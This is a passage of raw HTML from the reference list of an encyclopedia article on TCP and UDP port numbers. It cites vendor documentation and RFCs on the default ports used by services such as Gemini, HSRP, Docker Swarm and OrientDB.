href=\"https://helpx.adobe.com/adobe-media-server/kb/ports-firewalls-flash-media-server.html\">\"Ports and firewalls\"</a>. Support. <i>Adobe</i> (published 2015-12-14). 2015-02-10. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827175802/https://helpx.adobe.com/adobe-media-server/kb/ports-firewalls-flash-media-server.html\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>. <q>...&#160;Flash Media Server listens for RTMP/E requests on port 1935/TCP.&#160;...&#160;Flash Media Server listens for RTMFP requests on port 1935/UDP.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Adobe&amp;rft.atitle=Ports+and+firewalls&amp;rft.date=2015-02-10&amp;rft_id=https%3A%2F%2Fhelpx.adobe.com%2Fadobe-media-server%2Fkb%2Fports-firewalls-flash-media-server.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-gemini-specification-154\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-gemini-specification_154-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://gemini.circumlunar.space/docs/specification.html\">\"Gemini protocol specification\"</a>. 2020-07-02<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2020-08-27</span></span>. <q>When Gemini is served over TCP/IP, servers should listen on port 1965 (the first manned Gemini mission, Gemini 3, flew in March '65).  This is an unprivileged port, so it's very easy to run a server as a \"nobody\" user, even if e.g. the server is written in Go and so can't drop privileges in the traditional fashion</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Gemini+protocol+specification&amp;rft.date=2020-07-02&amp;rft_id=https%3A%2F%2Fgemini.circumlunar.space%2Fdocs%2Fspecification.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-cisco-support-hsrp-faq-155\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-cisco-support-hsrp-faq_155-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.cisco.com/c/en/us/support/docs/ip/hot-standby-router-protocol-hsrp/9281-3.html\">\"Hot Standby Router Protocol (HSRP): Frequently Asked Questions\"</a>. <i>Cisco Support</i>. <a href=\"/wiki/Cisco_Systems\" class=\"mw-redirect\" title=\"Cisco Systems\">Cisco Systems</a> (published 2017-10-19). 2014-09-19. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20140223191104/https://www.cisco.com/c/en/us/support/docs/ip/hot-standby-router-protocol-hsrp/9281-3.html#q17\">Archived</a> from the original on 2014-02-23<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-04-27</span></span>. <q>Q: Are HSRP messages TCP or UDP? A: UDP, since HSRP runs on UDP port 1985.</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Cisco+Support&amp;rft.atitle=Hot+Standby+Router+Protocol+%28HSRP%29%3A+Frequently+Asked+Questions&amp;rft.date=2014-09-19&amp;rft_id=https%3A%2F%2Fwww.cisco.com%2Fc%2Fen%2Fus%2Fsupport%2Fdocs%2Fip%2Fhot-standby-router-protocol-hsrp%2F9281-3.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (April 2018)\">self-published source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-156\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-156\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFDoyleSubstelny\" class=\"citation book cs1\">Doyle, Michael; Substelny, Mike. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170630044822/http://www.eochu.com/dl/Artemis_Manual_latest.pdf\"><i>Artemis Spaceship Bridge Simulator – Terran Star Naval Academy Tactical Manual 1.70</i></a> <span class=\"cs1-format\">(PDF)</span> (Windows&#160;ed.). p.&#160;8. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www.eochu.com/dl/Artemis_Manual_latest.pdf\">the original</a> <span class=\"cs1-format\">(PDF)</span> on 2017-06-30<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-06-30</span></span>. <q>...&#160;This screen allows the Bridge Crew to connect to the Artemis Simulator.&#160;...&#160;The network must also be configured to forward port 2010 to the server machine's local address.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Artemis+Spaceship+Bridge+Simulator+%E2%80%93+Terran+Star+Naval+Academy+Tactical+Manual+1.70&amp;rft.pages=8&amp;rft.edition=Windows&amp;rft.aulast=Doyle&amp;rft.aufirst=Michael&amp;rft.au=Substelny%2C+Mike&amp;rft_id=http%3A%2F%2Fwww.eochu.com%2Fdl%2FArtemis_Manual_latest.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-2k-support-201333253-157\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-2k-support-201333253_157-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-2k-support-201333253_157-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://support.2k.com/hc/en-us/articles/201333253-Which-ports-are-required-to-play-Civilization-4-online-\">\"Which ports are required to play Civilization 4 online?\"</a>. Support. <i>2K</i>. 2016-07-17. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827185725/http://support.2k.com/hc/en-us/articles/201333253-Which-ports-are-required-to-play-Civilization-4-online-\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=2K&amp;rft.atitle=Which+ports+are+required+to+play+Civilization+4+online%3F&amp;rft.date=2016-07-17&amp;rft_id=http%3A%2F%2Fsupport.2k.com%2Fhc%2Fen-us%2Farticles%2F201333253-Which-ports-are-required-to-play-Civilization-4-online-&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-cpanel-ckb-login-158\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-cpanel-ckb-login_158-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-cpanel-ckb-login_158-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-cpanel-ckb-login_158-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-cpanel-ckb-login_158-3\"><sup><i><b>d</b></i></sup></a> <a href=\"#cite_ref-cpanel-ckb-login_158-4\"><sup><i><b>e</b></i></sup></a> <a href=\"#cite_ref-cpanel-ckb-login_158-5\"><sup><i><b>f</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://documentation.cpanel.net/display/CKB/How%2Bto%2BLog%2Bin%2Bto%2BYour%2BServer%2Bor%2BAccount\">\"How to Log in to Your Server or Account\"</a>. <i>cPanel Knowledge Base</i> (published 2016-08-22). 2014-06-24. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827190806/https://documentation.cpanel.net/display/CKB/How%2Bto%2BLog%2Bin%2Bto%2BYour%2BServer%2Bor%2BAccount\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=cPanel+Knowledge+Base&amp;rft.atitle=How+to+Log+in+to+Your+Server+or+Account&amp;rft.date=2014-06-24&amp;rft_id=https%3A%2F%2Fdocumentation.cpanel.net%2Fdisplay%2FCKB%2FHow%252Bto%252BLog%252Bin%252Bto%252BYour%252BServer%252Bor%252BAccount&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-apple-kb-HT203609-159\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-apple-kb-HT203609_159-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT203609_159-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-apple-kb-HT203609_159-2\"><sup><i><b>c</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.apple.com/en-us/HT203609\">\"If you're not getting Apple push notifications\"</a>. Support. <i>Apple</i> (published 2016-04-15). 2014-11-08. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827195033/https://support.apple.com/en-us/HT203609\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Apple&amp;rft.atitle=If+you%27re+not+getting+Apple+push+notifications&amp;rft.date=2014-11-08&amp;rft_id=https%3A%2F%2Fsupport.apple.com%2Fen-us%2FHT203609&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-apple-dev-news-2020-10-09-160\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-apple-dev-news-2020-10-09_160-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-apple-dev-news-2020-10-09_160-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://developer.apple.com/news/?id=c88acm2b\">\"Updated APNs provider API deadline\"</a>. Developer. <i>Apple</i>. 2020-10-09<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-10-04</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Apple&amp;rft.atitle=Updated+APNs+provider+API+deadline&amp;rft.date=2020-10-09&amp;rft_id=https%3A%2F%2Fdeveloper.apple.com%2Fnews%2F%3Fid%3Dc88acm2b&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><span class=\"cs1-maint citation-comment\"><code class=\"cs1-code\">{{<a href=\"/wiki/Template:Cite_web\" title=\"Template:Cite web\">cite web</a>}}</code>:  CS1 maint: url-status (<a href=\"/wiki/Category:CS1_maint:_url-status\" title=\"Category:CS1 maint: url-status\">link</a>)</span></span>\n</li>\n<li id=\"cite_note-eset_user_guide_5_2-161\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-eset_user_guide_5_2_161-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-eset_user_guide_5_2_161-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://download.eset.com/manuals/eset_era_5.2_userguide_enu.pdf\">\"Installation manual and user guide Remote administrator 5\"</a> <span class=\"cs1-format\">(PDF)</span>. ESET, spol. s r.o<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">29 January</span> 2015</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Installation+manual+and+user+guide+Remote+administrator+5&amp;rft.pub=ESET%2C+spol.+s+r.o.&amp;rft_id=http%3A%2F%2Fdownload.eset.com%2Fmanuals%2Feset_era_5.2_userguide_enu.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-directadmin-help-71-162\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-directadmin-help-71_162-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://help.directadmin.com/item.php?id=71\">\"What ports do I need to open in my firewall?\"</a>. <i>DirectAdmin Knowledge Base</i>. JBMC Software (published 2011-05-29). n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827202214/https://help.directadmin.com/item.php?id=71\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=DirectAdmin+Knowledge+Base&amp;rft.atitle=What+ports+do+I+need+to+open+in+my+firewall%3F&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Fhelp.directadmin.com%2Fitem.php%3Fid%3D71&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-:0-163\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-:0_163-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-:0_163-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-:0_163-2\"><sup><i><b>c</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://community.bistudio.com/wiki/Arma_3:_Dedicated_Server\">\"Arma 3: Dedicated Server - Bohemia Interactive Community\"</a>. <i>community.bistudio.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-05-10</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=community.bistudio.com&amp;rft.atitle=Arma+3%3A+Dedicated+Server+-+Bohemia+Interactive+Community&amp;rft_id=https%3A%2F%2Fcommunity.bistudio.com%2Fwiki%2FArma_3%3A_Dedicated_Server&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-msft-kb-829469-164\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-msft-kb-829469_164-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-msft-kb-829469_164-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"//support.microsoft.com/kb/829469\">\"Known multiplayer issues in Halo: Combat Evolved\"</a>. <i>Support</i>. <a href=\"/wiki/Microsoft\" title=\"Microsoft\">Microsoft</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Support&amp;rft.atitle=Known+multiplayer+issues+in+Halo%3A+Combat+Evolved&amp;rft_id=%2F%2Fsupport.microsoft.com%2Fkb%2F829469&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\"><span style=\"white-space: nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Link_rot\" title=\"Wikipedia:Link rot\"><span title=\"&#160;Dead link tagged July 2017\">dead link</span></a></i>&#93;</span></sup></span>\n</li>\n<li id=\"cite_note-gfb-config-165\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-gfb-config_165-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBalderstonBoutté2016\" class=\"citation book cs1\">Balderston, David; Boutté, Andy (2016-02-03). <a rel=\"nofollow\" class=\"external text\" href=\"https://www.ghostforbeginners.com/ghost-config-js-broken-down/\">\"Ghost config.js - Broken Down\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://www.ghostforbeginners.com/\"><i>Ghost for Beginners</i></a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>. <q>...&#160;This is the port that Ghost is listening on. By default 2368 is used&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Ghost+config.js+-+Broken+Down&amp;rft.btitle=Ghost+for+Beginners&amp;rft.date=2016-02-03&amp;rft.aulast=Balderston&amp;rft.aufirst=David&amp;rft.au=Boutt%C3%A9%2C+Andy&amp;rft_id=https%3A%2F%2Fwww.ghostforbeginners.com%2Fghost-config-js-broken-down%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-docker-swarm-tutorial-166\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-docker-swarm-tutorial_166-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-docker-swarm-tutorial_166-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://docs.docker.com/engine/swarm/swarm-tutorial/#open-protocols-and-ports-between-the-hosts\">\"Getting started with swarm mode\"</a>. <i>Docker Documentation</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-05-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Docker+Documentation&amp;rft.atitle=Getting+started+with+swarm+mode&amp;rft_id=https%3A%2F%2Fdocs.docker.com%2Fengine%2Fswarm%2Fswarm-tutorial%2F%23open-protocols-and-ports-between-the-hosts&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (May 2018)\">self-published source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-gokgs-prefs-167\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-gokgs-prefs_167-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.gokgs.com/help/setPrefsWin.html\">\"KGS: Set Preferences\"</a>. <i>KGS Go Server</i>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160827120651/https://www.gokgs.com/help/setPrefsWin.html\">Archived</a> from the original on 2016-08-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>. <q>The TCP/IP port of the KGS server. The default is 2379&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=KGS+Go+Server&amp;rft.atitle=KGS%3A+Set+Preferences&amp;rft_id=https%3A%2F%2Fwww.gokgs.com%2Fhelp%2FsetPrefsWin.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-orientdb-docs-dbserver-168\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-orientdb-docs-dbserver_168-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-orientdb-docs-dbserver_168-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFGarulliDyerFranchini2015\" class=\"citation book cs1\">Garulli, Luca; Dyer, Kenneth P.J.; Franchini, Roberto (2015-05-13). <a rel=\"nofollow\" class=\"external text\" href=\"http://orientdb.com/docs/2.1/DB-Server.html\">\"OrientDB Server\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://orientdb.com/docs/2.1/\"><i>OrientDB Manual – version 2.1.x</i></a> (published 2016-05-18). <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160828104748/http://orientdb.com/docs/2.1/DB-Server.html\">Archived</a> from the original on 2016-08-28<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>. <q>...&#160;Upon startup, the server runs on port 2424 for the binary protocol and 2480 for the http one. If a port is busy the next free one will be used. The default range is 2424-2430 (binary) and 2480-2490 (http).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=OrientDB+Server&amp;rft.btitle=OrientDB+Manual+%E2%80%93+version+2.1.x&amp;rft.date=2015-05-13&amp;rft.aulast=Garulli&amp;rft.aufirst=Luca&amp;rft.au=Dyer%2C+Kenneth+P.J.&amp;rft.au=Franchini%2C+Roberto&amp;rft_id=http%3A%2F%2Forientdb.com%2Fdocs%2F2.1%2FDB-Server.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-169\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-169\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://aminet.net/package/comm/net/NetFS-revised\">\"Remote filesystem and AREXX between Amigas\"</a>. <i>Aminet</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2019-08-29</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Aminet&amp;rft.atitle=Remote+filesystem+and+AREXX+between+Amigas&amp;rft_id=http%3A%2F%2Faminet.net%2Fpackage%2Fcomm%2Fnet%2FNetFS-revised&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc2730-port-170\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc2730-port_170-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFHannaPatelShah1999\" class=\"citation cs1\">Hanna, Stephen R.; Patel, Baiju V.; Shah, Munil (December 1999). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2730#section-2.0\">\"Protocol Description\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2730\"><i>Multicast Address Dynamic Client Allocation Protocol</i></a>. Thanks to Rajeev Byrisetty, Steve Deering, Peter Ford, Mark Handley, Van Jacobson, David Oran, Thomas Pfenning, Dave Thaler, Ramesh Vyaghrapuri and the participants of the IETF. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;6.&#160;sec.&#160;2.0. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC2730\">10.17487/RFC2730</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2730\">2730</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>. <q>...&#160;A reserved port number dedicated for MADCAP is used on the server (port number 2535, as assigned by IANA). Any port number may be used on client machines.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Protocol+Description&amp;rft.btitle=Multicast+Address+Dynamic+Client+Allocation+Protocol&amp;rft.pages=p.-6.-sec.-2.0&amp;rft.pub=IETF&amp;rft.date=1999-12&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC2730&amp;rft.aulast=Hanna&amp;rft.aufirst=Stephen+R.&amp;rft.au=Patel%2C+Baiju+V.&amp;rft.au=Shah%2C+Munil&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc2730%26%23035%3Bsection-2.0&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc2730-udp-171\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc2730-udp_171-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFHannaPatelShah1999\" class=\"citation cs1\">Hanna, Stephen R.; Patel, Baiju V.; Shah, Munil (December 1999). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2730#section-1.5\">\"Protocol Overview\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2730\"><i>Multicast Address Dynamic Client Allocation Protocol</i></a>. Thanks to Rajeev Byrisetty, Steve Deering, Peter Ford, Mark Handley, Van Jacobson, David Oran, Thomas Pfenning, Dave Thaler, Ramesh Vyaghrapuri and the participants of the IETF. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;3.&#160;sec.&#160;1.5. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC2730\">10.17487/RFC2730</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc2730\">2730</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>. <q>...&#160;All messages are UDP datagrams.&#160;...</q></cite><span 